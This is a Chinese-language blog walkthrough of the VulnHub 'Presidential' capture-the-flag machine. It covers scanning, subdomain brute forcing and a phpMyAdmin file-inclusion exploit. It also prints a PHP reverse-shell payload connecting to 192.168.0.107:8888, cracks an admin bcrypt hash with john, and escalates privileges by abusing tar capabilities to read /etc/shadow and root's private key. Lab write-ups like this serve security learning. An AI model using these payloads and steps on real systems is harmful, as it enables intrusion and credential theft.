当前位置:网站首页>vulnhub之presidential
vulnhub之presidential
2022-07-03 11:05:00 【梅_花_七】
目录
一、nmap主机发现
做一个基于ping的扫描,其他有点慢

二、端口扫描

三、服务版本发现

四、信息收集
1.主页
至于其他功能,源码处,对我们来说没有太多的作用。

五、目录扫描
挨个查看,都没反应,上面收集到了域名,绑定域名,在尝试。

1.绑定域名
2./config.php.bak
这个里面有107B的数据。在源码下我们发现了数据库的名,账号密码

六、子域名爆破
爆破出来一个database.votenow.local,绑定ip,后访问。

发现一个phpmyadmin的登陆界面,结合我们前面发现的账号密码,登录phpmyadmin。

七、phpmyadmin
1.查看版本
、
2.漏洞搜索
这里有三个漏洞,我们来使用44928.txt文件包含漏洞。

3.文件内容
先利用数据库写入文件,之后来利用文件包含执行文件
4.尝试
注意:将sessions改为session,否则不成功
前边写域名,后面加上session就ok了

八、反弹shell
退出重新登陆获得一个新的session,其余步骤和上述相通
select '<?php system('bash -i >& /dev/tcp/192.168.0.107/8888 0>&1');exit;?>'

九、john的hash值爆破
在phpmyadmin中我们还发现了一个用户名和hash值
admin $2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i
尝试爆破
john hash --wordlist=rockyou.txt
Stella

su admin
并python返回一下shell

十、capability
1.查看具有capability的权限
getcap -r / 2>/dev/null
2.代表意思:
Permitted
这个集合定义了线程所能够拥有的特权的上限,是Inheritable和Effective集合的的超集
Effective
内核检查特权操作时,实际检查的集合(可以通过执行操作前增/删Effective中的capabilities,以达到临时开/关权限的功能)

3.挨个查看
找到我们admin用户可以执行的命令。tars我们可以执行。

十一、tars提权
1.读取/etc/shadow
读取压缩
tar -cf archive.tar /etc/shadow
解压缩
tar -xf archive.tar
利用里面root的hash值,找字典去碰。找到对的字典应该可以破解出来

2.读取私钥文件
和上面一样来tarS来读取文件,然后解压。放到admin的.ssh下面,然后通过ssh登录,提权成功
ssh -i id_rsa [email protected] -p 2082

拿到flag

边栏推荐
- Technical experts from large factories: how can engineers improve their communication skills?
- Based on MCU, how to realize OTA differential upgrade with zero code and no development?
- PHP基础
- Mmc5603nj geomagnetic sensor (Compass example)
- 用了这么久线程池,你真的知道如何合理配置线程数吗?
- After setting up ADG, instance 2 cannot start ora-29760: instance_ number parameter not specified
- STL教程10-容器共性和使用场景
- Xml的(DTD,xml解析,xml建模)
- Machine learning 3.2 decision tree model learning notes (to be supplemented)
- The world's most popular font editor FontCreator tool
猜你喜欢

Visual Studio 2022下载及配置OpenCV4.5.5
![[OBS] configFile in ini format of OBS](/img/b2/0b130cee6ea884557a30e4b408f49e.png)
[OBS] configFile in ini format of OBS

用了这么久线程池,你真的知道如何合理配置线程数吗?

Web security summary

ArcGIS应用(二十一)Arcmap删除图层指定要素的方法

The uniapp scroll view solves the problems of high adaptability and bullet frame rolling penetration.

量化计算调研

Arctangent entropy: the latest SCI paper in July 2022

活动预告 | 直播行业“内卷”,以产品力拉动新的数据增长点

Hongmeng fourth training
随机推荐
P3250 [HNOI2016] 网络 + [NECPC2022] F.Tree Path 树剖+线段树维护堆
(database authorization - redis) summary of unauthorized access vulnerabilities in redis
Solicitation for JGG special issue: spatio-temporal omics
外插散点数据
How to: configure ClickOnce trust prompt behavior
Event preview | the live broadcast industry "rolled in" to drive new data growth points with product power
Redis things
Unity3D学习笔记5——创建子Mesh
导师对帮助研究生顺利完成学业提出了20条劝告:第一,不要有度假休息的打算.....
Mmc5603nj geomagnetic sensor (Compass example)
Stm32hal library upgrades firmware based on flash analog U disk (detailed explanation)
DNS多点部署IP Anycast+BGP实战分析
How to clean up v$rman_ backup_ job_ Details view reports error ora-02030
Mysql根据时间搜索常用方法整理
Kubernetes 三打探针及探针方式
STL教程10-容器共性和使用场景
Cuiyusong, CTO of youzan: the core goal of Jarvis is to make products smarter and more reliable
ArcGIS应用(二十一)Arcmap删除图层指定要素的方法
CSRF
[OBS] configFile in ini format of OBS